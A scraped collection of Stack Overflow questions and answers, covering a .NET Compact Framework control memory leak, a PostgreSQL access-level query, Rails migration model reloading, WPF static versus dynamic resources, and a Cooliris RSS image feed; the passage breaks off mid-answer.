<p>I have a problem with a memory leak in a .NET CF application. </p> <p>Using <a href="http://blogs.msdn.com/stevenpr/archive/2006/04/17/577636.aspx" rel="nofollow noreferrer">RPM</a> I identified that dynamically creating controls are not garbage collected as expected. Running the same piece of code in .NET Window Forms behave differently and disposes the control as I expected.</p> <p>See the output from RPM via PerfMon for the <strong><em>Process Heap</em></strong> counter: <br/> <img src="https://i462.photobucket.com/albums/qq346/pfourie/ScreenShot191.jpg" alt="alt text"></p> <p>GC Heap:<br/> <img src="https://i462.photobucket.com/albums/qq346/pfourie/ScreenShot190a.jpg" alt="alt text"></p> <p>My best guess is that the Weak Reference to the Panel is for some unknown reason not making the object eligible for GC, can it be?</p> <p><strong>Please note:</strong> Even though <strong>Dispose()</strong> solves the problem for the sample, I can't easily incorporate it into the existing application as it is not as clear cut to determine when the object is no longer in use.</p> <p>I have included a simplified version of the source to illustrate the problem:</p> <pre><code>using System; using System.Windows.Forms; namespace CFMemTest { public partial class Form1 : Form { public Form1() { InitializeComponent(); } // Calling this event handler multiple times causes the memory leak private void Button1_Click(object sender, EventArgs e) { Panel uc = new Panel(); // Calling uc.Dispose() cleans up the object } } } </code></pre> <p><strong>Update:</strong> <br/> 1. Calling GC.Collect() also doesn't result in the panels being cleaned up. <br/> 2. Using .NET CF 2.0 SP1 on a Windows CE 4.2 device.</p>
[ { "answer_id": 200800, "author": "Mitch Wheat", "author_id": 16076, "author_profile": "https://Stackoverflow.com/users/16076", "pm_score": 1, "selected": false, "text": "<p>Are you sure you have a memory leak? The .NET Compact Framework garbage collector works slightly differently to the one in the full .NET framework. From <a href=\"http://blogs.msdn.com/stevenpr/archive/2004/07/26/197254.aspx\" rel=\"nofollow noreferrer\">Steven Pratschner's blog</a>:</p>\n\n<blockquote>\n <p>A collection is initiated when either:</p>\n \n <ul>\n <li><p>1MB of objects have been allocated,</p></li>\n <li><p>An application is moved to the background,</p></li>\n <li><p>A failure to allocate memory occurs</p></li>\n <li><p>An application calls GC.Collect.</p></li>\n </ul>\n</blockquote>\n" }, { "answer_id": 202686, "author": "ctacke", "author_id": 13154, "author_profile": "https://Stackoverflow.com/users/13154", "pm_score": 2, "selected": false, "text": "<p>A Form does not automatically Dispose all Controls created in its code, as it has no way to know it exists. To get the Form to Form to Dispose it automatically when it's Disposed, you need to add it to the Controls collection.</p>\n\n<p>Now in your case that may not do anything. I can't tell if your example is contrived, or real world. If it's real-world, then the behavior is expected, as the Panel doesn't get collected when the variable goes out of scope (not sure it does on the desktop either). It becomes available for collection, but that simply means that on the next collection pass it will be swept. Unless you're causing a GC, then it's not going to be freed.</p>\n\n<p>I'd highly recommend you take a look at the <a href=\"http://www.microsoft.com/events/series/detail/webcastdetails.aspx?seriesid=86&amp;webcastid=1032318791\" rel=\"nofollow noreferrer\">MSDN webcast on memory management in the CF</a>. It provides a much more thorough explanation as to what's happening under the hood - far more than we could provide in an answer here.</p>\n" }, { "answer_id": 203947, "author": "Philip Fourie", "author_id": 11123, "author_profile": "https://Stackoverflow.com/users/11123", "pm_score": 3, "selected": true, "text": "<p>Some additional information here that explains this behaviour.</p>\n\n<p><a href=\"http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=4002811&amp;SiteID=1&amp;mode=1\" rel=\"nofollow noreferrer\">According to Ilya Tumanov</a>:</p>\n\n<blockquote>\n <p><strong>Everything UI related on NETCF is\n intentionally removed from GC scope so\n it is never collected</strong>. This behavior\n is different from desktop and has been\n changed in NETCF V3.5 (unless running\n in compatibility mode).</p>\n \n <p>It is so different because managed UI\n classes on NETCF are completely\n different from desktop. They are thin\n wrappers over native implementation\n which was needed to achieve acceptable\n performance.</p>\n \n <p>I’m not sure there’s such a resource.\n But really, all you need to know is:\n it’s never collected, must call\n dispose. You actually should do that\n on desktop as well but if you don’t\n its way more forgiving. Not so on\n NETCF.</p>\n</blockquote>\n" }, { "answer_id": 422070, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I think you need to dynamically remove the Button Click EventHandler too, as you can see from this blog : \n<a href=\"http://blogs.msdn.com/stevenpr/archive/2007/03/08/finding-managed-memory-leaks-using-the-net-cf-remote-performance-monitor.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/stevenpr/archive/2007/03/08/finding-managed-memory-leaks-using-the-net-cf-remote-performance-monitor.aspx</a></p>\n\n<p>It is from Steven Pratschner too. </p>\n\n<p>By the way, the webcast mentioned above is linked here:\n<a href=\"http://msevents.microsoft.com/cui/WebCastEventDetails.aspx?culture=en-US&amp;EventID=1032318791&amp;CountryCode=US\" rel=\"nofollow noreferrer\">http://msevents.microsoft.com/cui/WebCastEventDetails.aspx?culture=en-US&amp;EventID=1032318791&amp;CountryCode=US</a></p>\n\n<p>Hope this helps!</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200786", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11123/" ]
I have a problem with a memory leak in a .NET CF application. Using [RPM](http://blogs.msdn.com/stevenpr/archive/2006/04/17/577636.aspx) I identified that dynamically creating controls are not garbage collected as expected. Running the same piece of code in .NET Window Forms behave differently and disposes the control as I expected. See the output from RPM via PerfMon for the ***Process Heap*** counter: ![alt text](https://i462.photobucket.com/albums/qq346/pfourie/ScreenShot191.jpg) GC Heap: ![alt text](https://i462.photobucket.com/albums/qq346/pfourie/ScreenShot190a.jpg) My best guess is that the Weak Reference to the Panel is for some unknown reason not making the object eligible for GC, can it be? **Please note:** Even though **Dispose()** solves the problem for the sample, I can't easily incorporate it into the existing application as it is not as clear cut to determine when the object is no longer in use. I have included a simplified version of the source to illustrate the problem: ``` using System; using System.Windows.Forms; namespace CFMemTest { public partial class Form1 : Form { public Form1() { InitializeComponent(); } // Calling this event handler multiple times causes the memory leak private void Button1_Click(object sender, EventArgs e) { Panel uc = new Panel(); // Calling uc.Dispose() cleans up the object } } } ``` **Update:** 1. Calling GC.Collect() also doesn't result in the panels being cleaned up. 2. Using .NET CF 2.0 SP1 on a Windows CE 4.2 device.
Some additional information here that explains this behaviour. [According to Ilya Tumanov](http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=4002811&SiteID=1&mode=1): > > **Everything UI related on NETCF is > intentionally removed from GC scope so > it is never collected**. This behavior > is different from desktop and has been > changed in NETCF V3.5 (unless running > in compatibility mode). > > > It is so different because managed UI > classes on NETCF are completely > different from desktop. They are thin > wrappers over native implementation > which was needed to achieve acceptable > performance. > > > I’m not sure there’s such a resource. > But really, all you need to know is: > it’s never collected, must call > dispose. You actually should do that > on desktop as well but if you don’t > its way more forgiving. Not so on > NETCF. > > >
200,810
<p>I'm trying to create an access control system. </p> <p>Here's a stripped down example of what the table I'm trying to control access to looks like:</p> <pre><code>things table: id group_id name 1 1 thing 1 2 1 thing 2 3 1 thing 3 4 1 thing 4 5 2 thing 5 </code></pre> <p>And the access control table looks like this:</p> <pre><code>access table: user_id type object_id access 1 group 1 50 1 thing 1 10 1 thing 2 100 </code></pre> <p>Access can be granted either by specifying the id of the 'thing' directly, or granted for an entire group of things by specifying a group id. In the above example, user 1 has been granted an access level of 50 to group 1, which should apply unless there are any other rules granting more specific access to an individual thing.</p> <p>I need a query that returns a list of things (ids only is okay) along with the access level for a specific user. So using the example above I'd want something like this for user id 1:</p> <pre><code>desired result: thing_id access 1 10 2 100 3 50 (things 3 and 4 have no specific access rule, 4 50 so this '50' is from the group rule) 5 (thing 5 has no rules at all, so although I still want it in the output, there's no access level for it) </code></pre> <p>The closest I can come up with is this:</p> <pre><code>SELECT * FROM things LEFT JOIN access ON user_id = 1 AND ( (access.type = 'group' AND access.object_id = things.group_id) OR (access.type = 'thing' AND access.object_id = things.id) ) </code></pre> <p>But that returns multiple rows, when I only want one for each row in the 'things' table. I'm not sure how to get down to a single row for each 'thing', or how to prioritise 'thing' rules over 'group' rules.</p> <p>If it helps, the database I'm using is PostgreSQL.</p> <p>Please feel free to leave a comment if there's any information I've missed out. </p> <p>Thanks in advance!</p>
[ { "answer_id": 200829, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 1, "selected": false, "text": "<p>I just read a paper last night on this. It has some ideas on how to do this. If you can't use the link on the title try using Google Scholar on <a href=\"http://portal.acm.org/citation.cfm?id=1316701\" rel=\"nofollow noreferrer\">Limiting Disclosure in Hippocratic Databases.</a></p>\n" }, { "answer_id": 200851, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 2, "selected": true, "text": "<p>I don't know the Postgres SQL dialect, but maybe something like:</p>\n\n<pre><code>select thing.*, coalesce ( ( select access\n from access\n where userid = 1\n and type = 'thing'\n and object_id = thing.id\n ),\n ( select access\n from access\n where userid = 1\n and type = 'group'\n and object_id = thing.group_id\n )\n )\nfrom things\n</code></pre>\n\n<p>Incidentally, I don't like the design. I would prefer the access table to be split into two:</p>\n\n<pre><code>thing_access (user_id, thing_id, access)\ngroup_access (user_id, group_id, access)\n</code></pre>\n\n<p>My query then becomes:</p>\n\n<pre><code>select thing.*, coalesce ( ( select access\n from thing_access\n where userid = 1\n and thing_id = thing.id\n ),\n ( select access\n from group_access\n where userid = 1\n and group_id = thing.group_id\n )\n )\nfrom things\n</code></pre>\n\n<p>I prefer this because foreign keys can now be used in the access tables. </p>\n" }, { "answer_id": 200862, "author": "Josef", "author_id": 5581, "author_profile": "https://Stackoverflow.com/users/5581", "pm_score": 1, "selected": false, "text": "<p>While there are several good answers, the most efficient would probably be something like this:</p>\n\n<pre><code>SELECT things.id, things.group_id, things.name, max(access) \nFROM things \nLEFT JOIN access ON \n user_id = 1 \n AND (\n (access.type = 'group' AND access.object_id = things.group_id)\n OR (access.type = 'thing' AND access.object_id = things.id)\n )\ngroup by things.id, things.group_id, things.name\n</code></pre>\n\n<p>Which simply uses summarization added to you query to get what you're looking for.</p>\n" }, { "answer_id": 200969, "author": "Dan", "author_id": 17121, "author_profile": "https://Stackoverflow.com/users/17121", "pm_score": 0, "selected": false, "text": "<p>Tony:</p>\n\n<p>Not a bad solution, I like it, seems to work. Here's your query after minor tweaking:</p>\n\n<pre><code>SELECT \n things.*, \n coalesce ( \n ( SELECT access \n FROM access \n WHERE user_id = 1 \n AND type = 'thing' \n AND object_id = things.id\n ), \n ( SELECT access \n FROM access \n WHERE user_id = 1 \n AND type = 'group' \n AND object_id = things.group_id \n ) \n ) AS access\n FROM things;\n</code></pre>\n\n<p>And the results look correct:</p>\n\n<pre><code> id | group_id | name | access \n----+----------+---------+--------\n 1 | 1 | thing 1 | 10\n 2 | 1 | thing 2 | 100\n 3 | 1 | thing 3 | 50\n 4 | 1 | thing 4 | 50\n 5 | 2 | thing 5 | \n</code></pre>\n\n<p>I do <em>completely</em> take the point about it not being an ideal schema. However, I am stuck with it to some extent.</p>\n\n<hr>\n\n<p>Josef:</p>\n\n<p>Your solution is very similar to the stuff I was playing with, and my instincts (such as they are) tell me that it should be possible to do it that way. Unfortunately it doesn't produce completely correct results:</p>\n\n<pre><code> id | group_id | name | max \n----+----------+---------+-----\n 1 | 1 | thing 1 | 50\n 2 | 1 | thing 2 | 100\n 3 | 1 | thing 3 | 50\n 4 | 1 | thing 4 | 50\n 5 | 2 | thing 5 | \n</code></pre>\n\n<p>The access level for 'thing 1' has taken the higher 'group' access value, rather than the more specific 'thing' access value of 10, which is what I'm after. I don't think there's a way to fix that within a <code>GROUP BY</code>, but if anyone has any suggestions I'm more than happy to be proven incorrect on that point.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200810", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17121/" ]
I'm trying to create an access control system. Here's a stripped down example of what the table I'm trying to control access to looks like: ``` things table: id group_id name 1 1 thing 1 2 1 thing 2 3 1 thing 3 4 1 thing 4 5 2 thing 5 ``` And the access control table looks like this: ``` access table: user_id type object_id access 1 group 1 50 1 thing 1 10 1 thing 2 100 ``` Access can be granted either by specifying the id of the 'thing' directly, or granted for an entire group of things by specifying a group id. In the above example, user 1 has been granted an access level of 50 to group 1, which should apply unless there are any other rules granting more specific access to an individual thing. I need a query that returns a list of things (ids only is okay) along with the access level for a specific user. So using the example above I'd want something like this for user id 1: ``` desired result: thing_id access 1 10 2 100 3 50 (things 3 and 4 have no specific access rule, 4 50 so this '50' is from the group rule) 5 (thing 5 has no rules at all, so although I still want it in the output, there's no access level for it) ``` The closest I can come up with is this: ``` SELECT * FROM things LEFT JOIN access ON user_id = 1 AND ( (access.type = 'group' AND access.object_id = things.group_id) OR (access.type = 'thing' AND access.object_id = things.id) ) ``` But that returns multiple rows, when I only want one for each row in the 'things' table. I'm not sure how to get down to a single row for each 'thing', or how to prioritise 'thing' rules over 'group' rules. If it helps, the database I'm using is PostgreSQL. Please feel free to leave a comment if there's any information I've missed out. Thanks in advance!
I don't know the Postgres SQL dialect, but maybe something like: ``` select thing.*, coalesce ( ( select access from access where userid = 1 and type = 'thing' and object_id = thing.id ), ( select access from access where userid = 1 and type = 'group' and object_id = thing.group_id ) ) from things ``` Incidentally, I don't like the design. I would prefer the access table to be split into two: ``` thing_access (user_id, thing_id, access) group_access (user_id, group_id, access) ``` My query then becomes: ``` select thing.*, coalesce ( ( select access from thing_access where userid = 1 and thing_id = thing.id ), ( select access from group_access where userid = 1 and group_id = thing.group_id ) ) from things ``` I prefer this because foreign keys can now be used in the access tables.
200,813
<p>I'm creating a bunch of migrations, some of which are standard "create table" or "modify table" migrations, and some of which modify data. I'm using my actual ActiveRecord models to modify the data, a la:</p> <pre><code>Blog.all.each do |blog| update_some_blog_attributes_to_match_new_schema end </code></pre> <p>The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table. Is there a way to reload the classes and their attribute definitions so I can reuse them?</p>
[ { "answer_id": 200815, "author": "James A. Rosen", "author_id": 1190, "author_profile": "https://Stackoverflow.com/users/1190", "pm_score": 8, "selected": true, "text": "<p>The answer is yes!</p>\n\n<pre><code>Blog.reset_column_information\n</code></pre>\n" }, { "answer_id": 200889, "author": "Jon Smock", "author_id": 25538, "author_profile": "https://Stackoverflow.com/users/25538", "pm_score": 2, "selected": false, "text": "<p>Create new instances:</p>\n\n<hr>\n\n<pre><code>Old_blogs = Blog.all\n</code></pre>\n\n<blockquote>\n <p># change/modify db table in here</p>\n</blockquote>\n\n<pre><code>New_blogs = Blog.all # this should be reloaded or you could use the .reload on this\n</code></pre>\n\n<blockquote>\n <p># change information, load old into new</p>\n</blockquote>\n\n<h1>ex.</h1>\n\n<pre><code>Old_blogs.each do |blog|\n New_blogs.find(blog.id).title = blog.title\nend\n</code></pre>\n" }, { "answer_id": 201890, "author": "Vitalie", "author_id": 27913, "author_profile": "https://Stackoverflow.com/users/27913", "pm_score": 3, "selected": false, "text": "<p>I always used new models in migrations</p>\n\n<pre><code> MyBlog &lt; ActiveRecord::Base\n set_table_name 'blogs'\n end\n\n def self.up\n MyBlog.all.each do |blog|\n update_some_blog_attributes_to_match_new_schema\n end\n end\n</code></pre>\n\n<p>But <code>Blog.reset_column_information</code> is more convenient.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200813", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1190/" ]
I'm creating a bunch of migrations, some of which are standard "create table" or "modify table" migrations, and some of which modify data. I'm using my actual ActiveRecord models to modify the data, a la: ``` Blog.all.each do |blog| update_some_blog_attributes_to_match_new_schema end ``` The problem is that if I load the Blog class, then modify the table, then use the Blog class again, the models have the old table definitions, and cannot save to the new table. Is there a way to reload the classes and their attribute definitions so I can reuse them?
The answer is yes! ``` Blog.reset_column_information ```
200,839
<p>When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources </p> <pre><code>&lt;Rectangle Fill="{StaticResource MyBrush}" /&gt; </code></pre> <p>or as a DynamicResource</p> <pre><code>&lt;ItemsControl ItemTemplate="{DynamicResource MyItemTemplate}" /&gt; </code></pre> <p>Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why:</p> <ul> <li>What is the main difference. Like memory or performance implications</li> <li>Are there rules in WPF like "brushes are always static" and "templates are always dynamic" etc.?</li> </ul> <p>I <strong>assume</strong> the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.</p>
[ { "answer_id": 200875, "author": "Phil Wright", "author_id": 6276, "author_profile": "https://Stackoverflow.com/users/6276", "pm_score": 10, "selected": true, "text": "<p>A <a href=\"https://msdn.microsoft.com/en-gb/library/cc189045(v=vs.95).aspx\" rel=\"noreferrer\">StaticResource</a> will be resolved and assigned to the property during the loading of the XAML which occurs before the application is actually run. It will only be assigned once and any changes to resource dictionary ignored.</p>\n\n<p>A <a href=\"https://msdn.microsoft.com/en-us/library/vstudio/ms748942(v=vs.100).aspx\" rel=\"noreferrer\">DynamicResource</a> assigns an Expression object to the property during loading but does not actually lookup the resource until runtime when the Expression object is asked for the value. This defers looking up the resource until it is needed at runtime. A good example would be a forward reference to a resource defined later on in the XAML. Another example is a resource that will not even exist until runtime. It will update the target if the source resource dictionary is changed.</p>\n" }, { "answer_id": 4532507, "author": "Afshin", "author_id": 229840, "author_profile": "https://Stackoverflow.com/users/229840", "pm_score": 5, "selected": false, "text": "<p>StaticResource will be resolved on object construction.<br> \nDynamicResource will be evaluated and resolved every time control needs the resource.</p>\n" }, { "answer_id": 4559797, "author": "Akshay J", "author_id": 264136, "author_profile": "https://Stackoverflow.com/users/264136", "pm_score": 7, "selected": false, "text": "<p>I was also confused about them. See this example below: </p>\n\n<pre><code>&lt;Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"CommandsWindow\" Height=\"300\" Width=\"300\"&gt;\n\n &lt;StackPanel&gt;\n &lt;Button Name=\"ButtonNew\" \n Click=\"ButtonNew_Click\" \n Background=\"{DynamicResource PinkBrush}\"&gt;NEW&lt;/Button&gt;\n &lt;Image Name=\"ImageNew\" \n Source=\"pack://application:,,,/images/winter.jpg\"&gt;&lt;/Image&gt;\n &lt;/StackPanel&gt;\n\n\n &lt;Window.Background&gt;\n &lt;DynamicResource ResourceKey=\"PinkBrush\"&gt;&lt;/DynamicResource&gt;\n &lt;/Window.Background&gt;\n\n&lt;/Window&gt;\n</code></pre>\n\n<p>Here I have used dynamic resource for button and window and have not declared it anywhere.Upon runtime, the ResourceDictionary of the hierarchy will be checked.Since I have not defined it, I guess the default will be used. </p>\n\n<p>If I add the code below to click event of Button, since they use DynamicResource, the background will be updated accordingly. </p>\n\n<pre><code>private void ButtonNew_Click(object sender, RoutedEventArgs e)\n{\n this.Resources.Add( \"PinkBrush\"\n ,new SolidColorBrush(SystemColors.DesktopColor)\n );\n}\n</code></pre>\n\n<p>If they had used StaticResource: </p>\n\n<ul>\n<li>The resource has to be declared in XAML </li>\n<li>And that too \"before\" they are used. </li>\n</ul>\n\n<p>Hope I cleared some confusion. </p>\n" }, { "answer_id": 15714079, "author": "CharithJ", "author_id": 591656, "author_profile": "https://Stackoverflow.com/users/591656", "pm_score": 4, "selected": false, "text": "<p><strong>What is the main difference. Like memory or performance implications</strong></p>\n\n<p>The difference between static and dynamic resources comes when the underlying object changes. If your Brush defined in the Resources collection were accessed in code and set to a different object instance, Rectangle will not detect this change. </p>\n\n<p>Static Resources retrieved once by referencing element and used for the lifetime of the resources. Whereas, DynamicResources retrieve every time they are used.</p>\n\n<p>The downside of Dynamic resources is that they tend to decrease application performance.</p>\n\n<p><strong>Are there rules in WPF like \"brushes are always static\" and \"templates are always dynamic\" etc.?</strong></p>\n\n<p>The best practice is to use Static Resources unless there is a specific reason like you want to change resource in the code behind dynamically. Another example of instance in which you would want t to use dynamic resoruces include when you use the SystemBrushes, SystenFonts and System Parameters. </p>\n" }, { "answer_id": 21329656, "author": "Manish Basantani", "author_id": 93613, "author_profile": "https://Stackoverflow.com/users/93613", "pm_score": 4, "selected": false, "text": "<p>Found all answers useful, just wanted to add one more use case.</p>\n\n<p>In a composite WPF scenario, your user control can make use of resources defined in any other parent window/control (that is going to host this user control) by referring to that resource as DynamicResource.</p>\n\n<p>As mentioned by others, Staticresource will be looked up at compile time. User controls can not refer to those resources which are defined in hosting/parent control. Though, DynamicResource could be used in this case.</p>\n" }, { "answer_id": 25912758, "author": "zamoldar", "author_id": 1036639, "author_profile": "https://Stackoverflow.com/users/1036639", "pm_score": 3, "selected": false, "text": "<p>Important benefit of the dynamic resources</p>\n\n<p>if application startup takes extremely long time, you must use dynamic resources,\nbecause static resources are always loaded when the window or app is created, while dynamic resources \nare loaded when they’re first used.</p>\n\n<p>However, you won’t see any benefit unless your resource is extremely large and \ncomplex.</p>\n" }, { "answer_id": 29903012, "author": "Jeson Martajaya", "author_id": 868532, "author_profile": "https://Stackoverflow.com/users/868532", "pm_score": 5, "selected": false, "text": "<ol>\n<li>StaticResource uses <strong>first</strong> value. DynamicResource uses <strong>last</strong> value.</li>\n<li>DynamicResource can be used for nested styling, StaticResource cannot.</li>\n</ol>\n\n<p>Suppose you have this nested Style dictionary. LightGreen is at the root level while Pink is nested inside a Grid.</p>\n\n<pre><code>&lt;ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"&gt;\n &lt;Style TargetType=\"{x:Type Grid}\"&gt;\n &lt;Style.Resources&gt;\n &lt;Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\"&gt;\n &lt;Setter Property=\"Background\" Value=\"Pink\"/&gt;\n &lt;/Style&gt;\n &lt;/Style.Resources&gt;\n &lt;/Style&gt;\n &lt;Style TargetType=\"{x:Type Button}\" x:Key=\"ConflictButton\"&gt;\n &lt;Setter Property=\"Background\" Value=\"LightGreen\"/&gt;\n &lt;/Style&gt;\n&lt;/ResourceDictionary&gt;\n</code></pre>\n\n<p>In view:</p>\n\n<pre><code>&lt;Window x:Class=\"WpfStyleDemo.ConflictingStyleWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"ConflictingStyleWindow\" Height=\"100\" Width=\"100\"&gt;\n &lt;Window.Resources&gt;\n &lt;ResourceDictionary&gt;\n &lt;ResourceDictionary.MergedDictionaries&gt;\n &lt;ResourceDictionary Source=\"Styles/ConflictingStyle.xaml\" /&gt;\n &lt;/ResourceDictionary.MergedDictionaries&gt;\n &lt;/ResourceDictionary&gt;\n &lt;/Window.Resources&gt;\n &lt;Grid&gt;\n &lt;Button Style=\"{DynamicResource ConflictButton}\" Content=\"Test\"/&gt;\n &lt;/Grid&gt;\n&lt;/Window&gt;\n</code></pre>\n\n<p>StaticResource will render the button as LightGreen, the first value it found in the style. DynamicResource will override the LightGreen button as Pink as it renders the Grid.</p>\n\n<p><img src=\"https://i.stack.imgur.com/dYc0V.png\" alt=\"StaticResource\">\nStaticResource</p>\n\n<p><img src=\"https://i.stack.imgur.com/MLGoJ.png\" alt=\"DynamicResource\">\nDynamicResource</p>\n\n<p>Keep in mind that VS Designer treats DynamicResource as StaticResource. It will get first value. In this case, VS Designer will render the button as LightGreen although it actually ends up as Pink.</p>\n\n<p>StaticResource will throw an error when the root-level style (LightGreen) is removed.</p>\n" }, { "answer_id": 39262852, "author": "iaminvinicble", "author_id": 5370858, "author_profile": "https://Stackoverflow.com/users/5370858", "pm_score": 3, "selected": false, "text": "<p><strong>Dynamic resources can only be used when property being set is on object which is derived from dependency object or freezable where as static resources can be used anywhere. \nYou can abstract away entire control using static resources.</strong> </p>\n\n<p><strong>Static resources are used under following circumstances:</strong></p>\n\n<ol>\n<li>When reaction resource changes at runtime is not required.</li>\n<li>If you need a good performance with lots of resources.</li>\n<li>While referencing resources within the same dictionary.</li>\n</ol>\n\n<p><strong>Dynamic resources:</strong></p>\n\n<ol>\n<li>Value of property or style setter theme is not known until runtime \n\n<ul>\n<li>This include system, aplication, theme based settings</li>\n<li>This also includes forward references.</li>\n</ul></li>\n<li>Referencing large resources that may not load when page, windows, usercontrol loads.</li>\n<li>Referencing theme styles in a custom control.</li>\n</ol>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200839", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8521/" ]
When using resources such as brushes, templates and styles in WPF, they can be specified either as StaticResources ``` <Rectangle Fill="{StaticResource MyBrush}" /> ``` or as a DynamicResource ``` <ItemsControl ItemTemplate="{DynamicResource MyItemTemplate}" /> ``` Most of the times (always?), only one works and the other will throw exception during runtime. But I'd like to know why: * What is the main difference. Like memory or performance implications * Are there rules in WPF like "brushes are always static" and "templates are always dynamic" etc.? I **assume** the choice between Static vs Dynamic isn't as arbitrary as it seems... but I fail to see the pattern.
A [StaticResource](https://msdn.microsoft.com/en-gb/library/cc189045(v=vs.95).aspx) will be resolved and assigned to the property during the loading of the XAML which occurs before the application is actually run. It will only be assigned once and any changes to resource dictionary ignored. A [DynamicResource](https://msdn.microsoft.com/en-us/library/vstudio/ms748942(v=vs.100).aspx) assigns an Expression object to the property during loading but does not actually lookup the resource until runtime when the Expression object is asked for the value. This defers looking up the resource until it is needed at runtime. A good example would be a forward reference to a resource defined later on in the XAML. Another example is a resource that will not even exist until runtime. It will update the target if the source resource dictionary is changed.
200,842
<p>We're creating a Interaction design pattern website for a class. We've been using google docs to create the patterns list during the classes, sharing it with the teacher for evaluation.</p> <p>So the environment is this:</p> <ul> <li>We've been able to fetch a single image from each presentation we want to display, such as: <a href="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" rel="nofollow noreferrer">http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b</a></li> <li><p>We've created an RSS feed for cooliris to open: (small example from it):</p> <p>&lt;.item></p> <pre><code>&lt;.title&gt;e7_pattern_7.78&lt;./title&gt; &lt;.link&gt;http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b&lt;./link&gt; &lt;.guid&gt;dd2dpzk6_164zcwm3jgv_b&lt;./guid&gt; &lt;.media:thumbnail url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" /&gt; &lt;.media:content url="http://docs.google.com/file?id=dd2dpzk6_164zcwm3jgv_b" type="image/png" /&gt; </code></pre> <p>&lt;./item></p></li> </ul> <p>Sorry for the points in the middle of the tag is only for stackoverflow not to filter it.</p> <p>So the problem is the following, the rss works correctly, as the cooliris opens all viewports for all images. But both the thumbnail and content remain black for all the pictures.</p> <p>If you try to open them by the above url you can download them, with the type="image/png" if should work for piclens to open it.</p> <p>Anyone got a sugestion or idea why we can't access the images from google docs via cooliris ?</p>
[ { "answer_id": 200875, "author": "Phil Wright", "author_id": 6276, "author_profile": "https://Stackoverflow.com/users/6276", "pm_score": 10, "selected": true, "text": "<p>A <a href=\"https://msdn.microsoft.com/en-gb/library/cc189045(v=vs.95).aspx\" rel=\"noreferrer\">StaticResource</a> will be resolved and assigned to the property during the loading of the XAML which occurs before the application is actually run. It will only be assigned once and any changes to resource dictionary ignored.</p>\n\n<p>A <a href=\"https://msdn.microsoft.com/en-us/library/vstudio/ms748942(v=vs.100).aspx\" rel=\"noreferrer\">DynamicResource</a> assigns an Expression object to the property during loading but does not actually lookup the resource until runtime when the Expression object is asked for the value. This defers looking up the resource until it is needed at runtime. A good example would be a forward reference to a resource defined later on in the XAML. Another example is a resource that will not even exist until runtime. It will update the target if the source resource dictionary is changed.</p>\n" }, { "answer_id": 4532507, "author": "Afshin", "author_id": 229840, "author_profile": "https://Stackoverflow.com/users/229840", "pm_score": 5, "selected": false, "text": "<p>StaticResource will be resolved on object construction.<br> \nDynamicResource will be evaluated and resolved every time control needs the resource.</p>\n" }, { "answer_id": 4559797, "author": "Akshay J", "author_id": 264136, "author_profile": "https://Stackoverflow.com/users/264136", "pm_score": 7, "selected": false, "text": "<p>I was also confused about them. See this example below: </p>\n\n<pre><code>&lt;Window x:Class=\"WpfApplicationWPF.CommandsWindow\"\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n Title=\"CommandsWindow\" Height=\"300\" Width=\"300\"&gt;\n\n &lt;StackPanel&gt;\n &lt;Button Name=\"ButtonNew\" \n Click=\"ButtonNew_Click\" \n Background=\"{DynamicResource PinkBrush}\"&gt;NEW&lt;/Button&gt;\n &lt;Image Name=\"ImageNew\" \n Source=\"pack://application:,,,/images/winter.jpg\"&gt;&lt;/Image&gt;\n &lt;/StackPanel&gt;\n\n\n &lt;Window.Background&gt;\n &lt;DynamicResource ResourceKey=\"PinkBrush\"&gt;&lt;/DynamicResource&gt;\n &lt;/Window.Background&gt;\n\n&lt;/Window&gt;\n</code></pre>\n\n<p>Here I have used dynamic resource for button and window and have not declared it anywhere.Upon runtime, the ResourceDictionary of the hierarchy will be checked.Since I have not defined it, I guess the default will be used. </p>\n\n<p>If I add the code below to click event of Button, since they use DynamicResource, the background will be updated accordingly. </p>\n\n<pre><code>private void ButtonNew_Click(object sender, RoutedEventArgs e)\n{\n this.Resources.Add( \"PinkBrush\"\n ,new SolidColorBrush(SystemColors.DesktopColor)\n );\n}\n</code></pre>\n\n<p>If they had used StaticResource: </p>\n\n<ul>\n<li>The resource has to be declared in XAML </li>\n<li>And that too \"before\" they are used. </li>\n</ul>\n\n<p>Hope I cleared some confusion. </p>\n" }, { "answer_id": 15714079, "author": "CharithJ", "author_id": 591656, "author_profile": "https://Stackoverflow.com/users/591656", "pm_score": 4, "selected": false, "text": "<p><strong>What is the main difference. Like memory or performance 